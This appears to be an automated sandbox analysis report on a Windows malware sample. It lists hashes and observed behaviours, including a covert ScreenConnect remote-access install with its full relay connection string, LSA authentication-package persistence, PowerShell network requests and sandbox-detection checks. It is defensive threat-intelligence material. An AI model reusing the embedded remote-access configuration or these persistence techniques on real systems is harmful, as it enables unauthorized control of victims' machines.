Analysis
- max time kernel
150s - max time network
137s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
18/08/2026, 23:36
Behavioral task
behavioral1
Sample
2026-08-18_6df9efdb596933d37203c8047c98ce39_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
26 signatures
150 seconds
Behavioral task
behavioral2
Sample
2026-08-18_6df9efdb596933d37203c8047c98ce39_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
26 signatures
150 seconds
General
- Target 2026-08-18_6df9efdb596933d37203c8047c98ce39_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
- Size 20.5MB
- Sample260818-3lp44abj2s
- SHA256 26f14364075f084be9a1c444a9f136a263f1254769b57e144e15d31e16146e14
- MD5 6df9efdb596933d37203c8047c98ce39
- SHA1 25cacffbc02a5ae1292857825e88062cd907fd24
- SHA512 e666bb6e8e1285fb337565f16788194b809530aae428173444dd1d47add1a47eefd5c61816e75cbe4d2307e59918c85277b81e550e7ea926c5f783fdc226c53c
- SSDEEP 393216:itkqBojkqBNkqBikqBwkqBIkqBWkqB4kqBv:zg
- TLSH T1A7272212B3E54565D1BB1A38E8B946965A35BC054B12C2BF52A8B96E3D33FC0DD32333
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Detects encrypted or obfuscated .NET executables 1 IoCs
resource yara_rule behavioral2/files/0x001000000001c520-150.dat INDICATOR_EXE_DotNET_Encrypted - Badlisted process makes network request 14 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 16 1844 powershell.exe 18 1844 powershell.exe 19 1844 powershell.exe 20 1844 powershell.exe 21 1844 powershell.exe 22 1844 powershell.exe 23 1844 powershell.exe 24 1844 powershell.exe 25 1844 powershell.exe 26 1844 powershell.exe 27 1844 powershell.exe 28 1844 powershell.exe 29 1844 powershell.exe 30 1844 powershell.exe - Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (01f7887e65212823)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (01f7887e65212823)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=instance-kuplwv-relay.screenconnect.com&p=443&s=2bec20a1-c7bc-4238-a052-b99520772ff0&k=BgIAAACkAABSU0ExAAgAAAEAAQAd7H8QeFSmAIetbPIKqsm6GYVfky72XxBPgsniloPHlf%2b7EsP4Nhwliw8ODKh7RMNNzCNJ9aTqAMjETMU7G%2bSO%2feeTwlkHXMNL2DQipUePx38OAx4IKWyZJXtCIz905lu96U%2bIep5EXsnefMy0Z6JXZ34lfK38VZJYNUXHxFHrdBa8sH79lR5D68kRTUXAowB7%2bkPPhEIdQpBvUoxuxBd3%2bDpA2phoX6kMENXaaHzDjHPY8Wd2HWkW%2bhHKugeI4LEb6CTYqALtiTLg%2fTvH95KyFBFZrKSGKXIgRXaiYgoRdZqCpcw%2b2wnkDpAo%2bpdF4Zmk6AyyVaoYFdlUGcgIjrfE&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAcOhDammSF0qFX4G95BpfpQAAAAACAAAAAAAQZgAAAAEAACAAAAAwdPtxO08zpJkKk%2bjDoI3UQjXts%2bX5wUfFei51LGki5wAAAAAOgAAAAAIAACAAAADqCjjfvOV5EBa49GtmBy%2fBU4txiQcJJvUZ%2fRsHz74w5aAEAABTUir9u%2bOXVkFR493mdzzcoHXA6fmAHIzaWolwxsUnMah09ULIyZf%2f1KqVFkwW6kunnJfE89gIU5oiFQ59P4PH3IgOF98AOYJC2nH0MOmZz7qRpgO8yRNNnA2mM8oWxXzGHanLZcNyyoMed08s0JnT%2b%2fKGoMtx7qXaG58iDK0cDw1UW51%2fZcoxKsTftnwFPI8lE1svgzVFGo5YPgOB%2fB0kF0TTBHzCwHKftQLJiLDddPQh%2fb87%2bUdNkmUQ3LWE4p3fOBW6WC1rMkiAHZI%2bjreKFaDkkwbJYMfFSSZAOQkHT%2fjq0OupAi7hYq2n8oXX8r5GH2B%2fLA8HZKBW2iZYrdOzgbKfesY9nmH1OXhkGy8UHjTdTt0%2bCIAgiNDkIqoEkP0stbJjw6alZLnFyJYHWKnJwFTl3EOTjdREr%2fZveFv9bu3dtCb4mdd%2fysE465yIZXULplnbBiWyz%2bOz%2b5EOyZjb3KmLWWaQB481GE8WWPv2yhexS7es%2b4lBK6hoRdhPOVilJTcwaIuKkR5Lmr2SyG0Qv1sX%2bktHTwqZj9BM%2bsAeiuMHKDYkL5k%2by5jlZoTxmDamFDeOen5CEz1VQ50QIyDggRjHix%2f6tR%2fRjYRM%2b50gZx6qtmw6R7k10AT6UhHVtOeYHeZLQb5%2bAT6nvJ7jAlI8DLW2YIV80qffscUU3X4JYaia6w%2firhvdzXWO%2bfqxCL56riESRMx1qDiwubaDJVRcM47l7JaCbFzxTrSr2c6UbyxJu9ebn3Jv2AVGw6Cs45rJDk7Hd8GPIWuuEoYDPi8%2fZLQALbvG1OnSp0XJs2Jc0dhibcgq9fn8iojTQO0a71SWocl4aL%2b5PW%2fWJ0mj6DrnlVqzAzgoJno3E6PRogKbT71Xw2o9QxJMIQ94iqoaUONs8NLucARNHi4i9yp1WyeTJdThjKOmlWCQ2z%2bpWxVKj3F95ftmDQQ4qe6r%2fFQafXAuqkYzhiKpdl0nLY7z3YfwT8NdUW5NI6rh4oVS%2bpnr67fVeAaPnRDuGPGqHtdpRjlNXwO2QMxqzZ0fp7JVev3H0Rlws8jJ2ySyFfqZKdvQ4rFX8ebKPbMV2qGsL%2bsL681GK035pwpDmSPLxIrkuBAmx3y7oIYhIpTUlgZf7hQLgiLVpHI%2bY%2bJIJlADt3oy6s%2bWK0RTofMooOhO%2bM9QugbzAwgpjxvtnZ1kxEjehGXxTKpZd60Yineer2qfdVZpMB%2fv84hbajxExvOSAAdViXYqSqML3FmoDQDA%2fq0VrwgMRaU2DDcjd46OYtegTAanGVilO36n71lHY2rqsSzC2lFmNnWe1JaSqjI3xtrsQ5xNoLbrJn8suYVbAJVeMvQ35EUSJFIGaFPHpa%2brs6jsemCoti9Q8RbIVEriVLiwxZP74vIxVcy6sG%2fxKpxDumzuDrepUYuBtxQWBPKEa9RRknz3XoKC90OyCMfpfvP%2fr12WOU5UZl6WnA7g9jMCLkAEMRiQiO8C8Rw3TfMcUPYI2TdLoIzPJWhFnopP93jJzZ9hjzarnrFcfy%2bRwcUwrEZiVBX1rEGAFUJncuPk49XpkpgjK84eax%2b2%2ftCrKuaywWA%2f%2fkAAAABLJkKdveUP3IrLW7Ljm%2bvjwWPuQPvLUUneJV49%2fJ3fOoP0CecOvQkeB5MKYQQbjxG1PKYq5h9%2fx2%2bRjqiWCO69\"" ScreenConnect.ClientService.exe - Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 7 IoCs
pid Process 2588 ScreenConnect.ClientService.exe 5108 ScreenConnect.WindowsClient.exe 3164 ScreenConnect.WindowsClient.exe 2120 ScreenConnect.ClientSetup.exe 944 ScreenConnect.ClientService.exe 3368 ScreenConnect.WindowsClient.exe 52 ScreenConnect.WindowsClient.exe - Loads dropped DLL 44 IoCs
pid Process 4092 MsiExec.exe 1604 rundll32.exe 1604 rundll32.exe 1604 rundll32.exe 1604 rundll32.exe 1604 rundll32.exe 1604 rundll32.exe 1604 rundll32.exe 1604 rundll32.exe 1604 rundll32.exe 4544 MsiExec.exe 876 MsiExec.exe 2588 ScreenConnect.ClientService.exe 2588 ScreenConnect.ClientService.exe 2588 ScreenConnect.ClientService.exe 2588 ScreenConnect.ClientService.exe 2588 ScreenConnect.ClientService.exe 2588 ScreenConnect.ClientService.exe 2588 ScreenConnect.ClientService.exe 2588 ScreenConnect.ClientService.exe 2588 ScreenConnect.ClientService.exe 2588 ScreenConnect.ClientService.exe 4600 MsiExec.exe 3292 rundll32.exe 3292 rundll32.exe 3292 rundll32.exe 3292 rundll32.exe 3292 rundll32.exe 3292 rundll32.exe 3292 rundll32.exe 3292 rundll32.exe 3292 rundll32.exe 4600 MsiExec.exe 4600 MsiExec.exe 944 ScreenConnect.ClientService.exe 944 ScreenConnect.ClientService.exe 944 ScreenConnect.ClientService.exe 944 ScreenConnect.ClientService.exe 944 ScreenConnect.ClientService.exe 944 ScreenConnect.ClientService.exe 944 ScreenConnect.ClientService.exe 944 ScreenConnect.ClientService.exe 944 ScreenConnect.ClientService.exe 944 ScreenConnect.ClientService.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Z: msiexec.exe - Boot or Logon Autostart Execution: Authentication Package 1 TTPs 2 IoCs
Suspicious Windows Authentication Registry Modification.
description ioc Process Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800300031006600370038003800370065003600350032003100320038003200330029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000 msiexec.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f00300000000000 msiexec.exe - Drops file in System32 directory 16 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (01f7887e65212823)\user.config ScreenConnect.ClientService.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (01f7887e65212823)\5dth3blg.newcfg ScreenConnect.ClientService.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (01f7887e65212823)\5dth3blg.newcfg ScreenConnect.ClientService.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Roaming\NuGet\nuget.config powershell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (01f7887e65212823)\zlh3byv0.tmp ScreenConnect.ClientService.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (01f7887e65212823)\zlh3byv0.newcfg ScreenConnect.ClientService.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (01f7887e65212823)\mlyhngza.newcfg ScreenConnect.ClientService.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (01f7887e65212823)\5dth3blg.tmp ScreenConnect.ClientService.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\PowerShellGet\PSRepositories.xml powershell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (01f7887e65212823)\2ljex02p.newcfg ScreenConnect.ClientService.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (01f7887e65212823)\mlyhngza.tmp ScreenConnect.ClientService.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (01f7887e65212823)\2ljex02p.tmp ScreenConnect.ClientService.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (01f7887e65212823)\2ljex02p.newcfg ScreenConnect.ClientService.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (01f7887e65212823)\mlyhngza.newcfg ScreenConnect.ClientService.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe - Drops file in Program Files directory 63 IoCs
description ioc Process File created C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.WindowsFileManager.exe.config msiexec.exe File opened for modification C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.WindowsFileManager.exe.config msiexec.exe File created C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\endpoints\Workhours.ps1 powershell.exe File created C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\PSAtera.psm1 powershell.exe File opened for modification C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.Client.dll msiexec.exe File created C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\endpoints\CustomValues.ps1 powershell.exe File created C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\system.config msiexec.exe File opened for modification C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.WindowsClient.exe msiexec.exe File opened for modification C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.WindowsBackstageShell.exe msiexec.exe File created C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\psakefile.ps1 powershell.exe File created C:\Program Files\PackageManagement\ProviderAssemblies\nuget\2.8.5.208\Microsoft.PackageManagement.NuGetProvider.dll powershell.exe File created C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\endpoints\Billing.ps1 powershell.exe File created C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\endpoints\Tickets.ps1 powershell.exe File created C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.ClientService.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\Client.Override.en-US.resources msiexec.exe File opened for modification C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.WindowsClient.exe.config msiexec.exe File opened for modification C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\Client.Override.en-US.resources msiexec.exe File created C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\endpoints\Customers.ps1 powershell.exe File created C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\endpoints\Knowledgebase.ps1 powershell.exe File created C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\endpoints\Rates.ps1 powershell.exe File created C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.WindowsAuthenticationPackage.dll msiexec.exe File opened for modification C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\app.config msiexec.exe File opened for modification C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\Client.resources msiexec.exe File created C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\endpoints\Contracts.ps1 powershell.exe File created C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\docs.txt powershell.exe File opened for modification C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\PSGetModuleInfo.xml powershell.exe File created C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.WindowsBackstageShell.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.WindowsClient.exe.config msiexec.exe File opened for modification C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\Client.Override.resources msiexec.exe File created C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\endpoints\Alerts.ps1 powershell.exe File created C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\PostInstall.ps1 powershell.exe File created C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\app.config msiexec.exe File opened for modification C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.ClientService.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.Core.dll msiexec.exe File created C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\endpoints\Departments.ps1 powershell.exe File created C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.ClientService.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.WindowsClient.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\Client.en-US.resources msiexec.exe File opened for modification C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\Client.fr.19_4.resources msiexec.exe File opened for modification C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\system.config msiexec.exe File opened for modification C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.ClientService.exe msiexec.exe File created C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\Install.ps1 powershell.exe File created C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\PSAtera.psd1 powershell.exe File created C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.Client.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.WindowsFileManager.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\Client.resources msiexec.exe File created C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\endpoints\Contacts.ps1 powershell.exe File created C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.Windows.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.WindowsCredentialProvider.dll msiexec.exe File opened for modification C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.Windows.dll msiexec.exe File opened for modification C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.WindowsAuthenticationPackage.dll msiexec.exe File opened for modification C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.WindowsCredentialProvider.dll msiexec.exe File created C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\endpoints\Devices.ps1 powershell.exe File created C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.WindowsBackstageShell.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\Client.fr.19_4.resources msiexec.exe File opened for modification C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\Client.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\Client.Override.resources msiexec.exe File opened for modification C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.Core.dll msiexec.exe File opened for modification C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.WindowsBackstageShell.exe.config msiexec.exe File opened for modification C:\Program Files (x86)\ScreenConnect Client (01f7887e65212823)\ScreenConnect.WindowsFileManager.exe msiexec.exe File created C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\endpoints\Account.ps1 powershell.exe File created C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\PSGetModuleInfo.xml powershell.exe File created C:\Program Files\WindowsPowerShell\Modules\PSAtera\1.8.0\endpoints\Agents.ps1 powershell.exe - Drops file in Windows directory 64 IoCs
description ioc Process File created C:\Windows\Installer\e59f332.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI73AE.tmp-\Microsoft.Deployment.Compression.Cab.dll rundll32.exe File created C:\Windows\SystemTemp\~DF276C201E76E00271.TMP msiexec.exe File created C:\Windows\SystemTemp\Microsoft.PackageManagement\kcngjogo.fx2 powershell.exe File created C:\Windows\SystemTemp\Microsoft.PackageManagement\ehu2dgrx.ob2 powershell.exe File created C:\Windows\SystemTemp\Microsoft.PackageManagement\zfbscjya.y0c powershell.exe File created C:\Windows\SystemTemp\~DF9C669A902DE26AA6.TMP msiexec.exe File created C:\Windows\SystemTemp\Microsoft.PackageManagement\ywx4erfo.c0v powershell.exe File created C:\Windows\SystemTemp\Microsoft.PackageManagement\2sop1uoh.vjw powershell.exe File opened for modification C:\Windows\SystemTemp\yktgtpxx\endpoints\Contacts.ps1 powershell.exe File opened for modification C:\Windows\SystemTemp\yktgtpxx\endpoints\Customers.ps1 powershell.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\SystemTemp\~DF99288FD8D3603760.TMP msiexec.exe File opened for modification C:\Windows\Installer\{483ADD4A-5C3B-F281-28AF-F895BC10AD3B}\DefaultIcon msiexec.exe File created C:\Windows\SystemTemp\Microsoft.PackageManagement\1wkz2beb.zg1 powershell.exe File created C:\Windows\SystemTemp\Microsoft.PackageManagement\vcuejpec.sgj powershell.exe File created C:\Windows\SystemTemp\yktgtpxx\PSAtera.nuspec powershell.exe File opened for modification C:\Windows\SystemTemp\yktgtpxx\endpoints\Workhours.ps1 powershell.exe File created C:\Windows\Installer\{483ADD4A-5C3B-F281-28AF-F895BC10AD3B}\DefaultIcon msiexec.exe File created C:\Windows\Installer\{3854E63E-2CBD-FA0A-7510-0BD182E966E5}\DefaultIcon msiexec.exe File created C:\Windows\SystemTemp\4m5k5xoh\4m5k5xoh.out powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_dxpbm11l.xnx.ps1 powershell.exe File created C:\Windows\SystemTemp\Microsoft.PackageManagement\myxcrygi.vi2 powershell.exe File created C:\Windows\SystemTemp\Microsoft.PackageManagement\vqqxv55j.3id powershell.exe File created C:\Windows\SystemTemp\~DF53C12A402E5203F1.TMP msiexec.exe File opened for modification C:\Windows\SystemTemp\RES91E1.tmp cvtres.exe File created C:\Windows\SystemTemp\Microsoft.PackageManagement\bt2ouiff.4id powershell.exe File created C:\Windows\SystemTemp\Microsoft.PackageManagement\32gmlocz.obv powershell.exe File opened for modification C:\Windows\SystemTemp\yktgtpxx\PostInstall.ps1 powershell.exe File opened for modification C:\Windows\SystemTemp\yktgtpxx\endpoints\Billing.ps1 powershell.exe File opened for modification C:\Windows\Installer\MSI7F19.tmp msiexec.exe File created C:\Windows\Installer\e59f34e.msi msiexec.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_0rgcnogf.pl0.psm1 powershell.exe File created C:\Windows\SystemTemp\4m5k5xoh\4m5k5xoh.cmdline powershell.exe File created C:\Windows\SystemTemp\ScreenConnect\26.5.3.9691\8f_4J77t-EWwrun.ps1 ScreenConnect.ClientService.exe File created C:\Windows\SystemTemp\Microsoft.PackageManagement\qz4200m4.iuq powershell.exe File created C:\Windows\SystemTemp\Microsoft.PackageManagement\rpihq23m.otj powershell.exe File created C:\Windows\SystemTemp\Microsoft.PackageManagement\1142axew.qeu powershell.exe File created C:\Windows\SystemTemp\yktgtpxx\endpoints\CustomValues.ps1 powershell.exe File opened for modification C:\Windows\SystemTemp\yktgtpxx\endpoints\Rates.ps1 powershell.exe File created C:\Windows\SystemTemp\yktgtpxx\package\services\metadata\core-properties\829ae841d59a4393bf08962bf961a5e8.psmdcp powershell.exe File created C:\Windows\SystemTemp\yktgtpxx\PSAtera.psm1 powershell.exe File created C:\Windows\SystemTemp\yktgtpxx\endpoints\Departments.ps1 powershell.exe File created C:\Windows\SystemTemp\~DF3D59E3C01CCA91B4.TMP msiexec.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_vskwyu3u.rxa.ps1 powershell.exe File created C:\Windows\SystemTemp\Microsoft.PackageManagement\5ohyz3vo.oet powershell.exe File opened for modification C:\Windows\SystemTemp\yktgtpxx\endpoints\Knowledgebase.ps1 powershell.exe File opened for modification C:\Windows\SystemTemp\yktgtpxx\psakefile.ps1 powershell.exe File opened for modification C:\Windows\Installer\MSI73AE.tmp msiexec.exe File created C:\Windows\SystemTemp\Microsoft.PackageManagement\zv5sss3v.l2h powershell.exe File created C:\Windows\SystemTemp\Microsoft.PackageManagement\valypmks.2xo powershell.exe File created C:\Windows\SystemTemp\Microsoft.PackageManagement\xydnhkoo.3hw powershell.exe File opened for modification C:\Windows\SystemTemp\yktgtpxx\docs.txt powershell.exe File created C:\Windows\SystemTemp\ScreenConnect\25.7.7.9426\ScreenConnect.ClientSetup.exe ScreenConnect.ClientService.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_an1rdk2y.qae.psm1 powershell.exe File created C:\Windows\SystemTemp\Microsoft.PackageManagement\21zkioyo.dp5 powershell.exe File created C:\Windows\SystemTemp\Microsoft.PackageManagement\crwqmqkd.llk powershell.exe File created C:\Windows\SystemTemp\yktgtpxx\Install.ps1 powershell.exe File created C:\Windows\SystemTemp\yktgtpxx\endpoints\Knowledgebase.ps1 powershell.exe File opened for modification C:\Windows\SystemTemp\yktgtpxx\endpoints\Tickets.ps1 powershell.exe File created C:\Windows\SystemTemp\~DFDEC84252DBD9737F.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSI7F78.tmp msiexec.exe File created C:\Windows\SystemTemp\4m5k5xoh\4m5k5xoh.0.cs powershell.exe File created C:\Windows\SystemTemp\Microsoft.PackageManagement\g4obs2w3.dhj powershell.exe -
pid Process 1844 powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 12 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 2026-08-18_6df9efdb596933d37203c8047c98ce39_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientSetup.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000940e18cbc83cc7300000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c0120000000000000000000000002701010000883801940e18cb0000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e84101940e18cb000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e3940e18cb00000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e6940e18cb00000000000030a9cc0100000000000000000000000000000000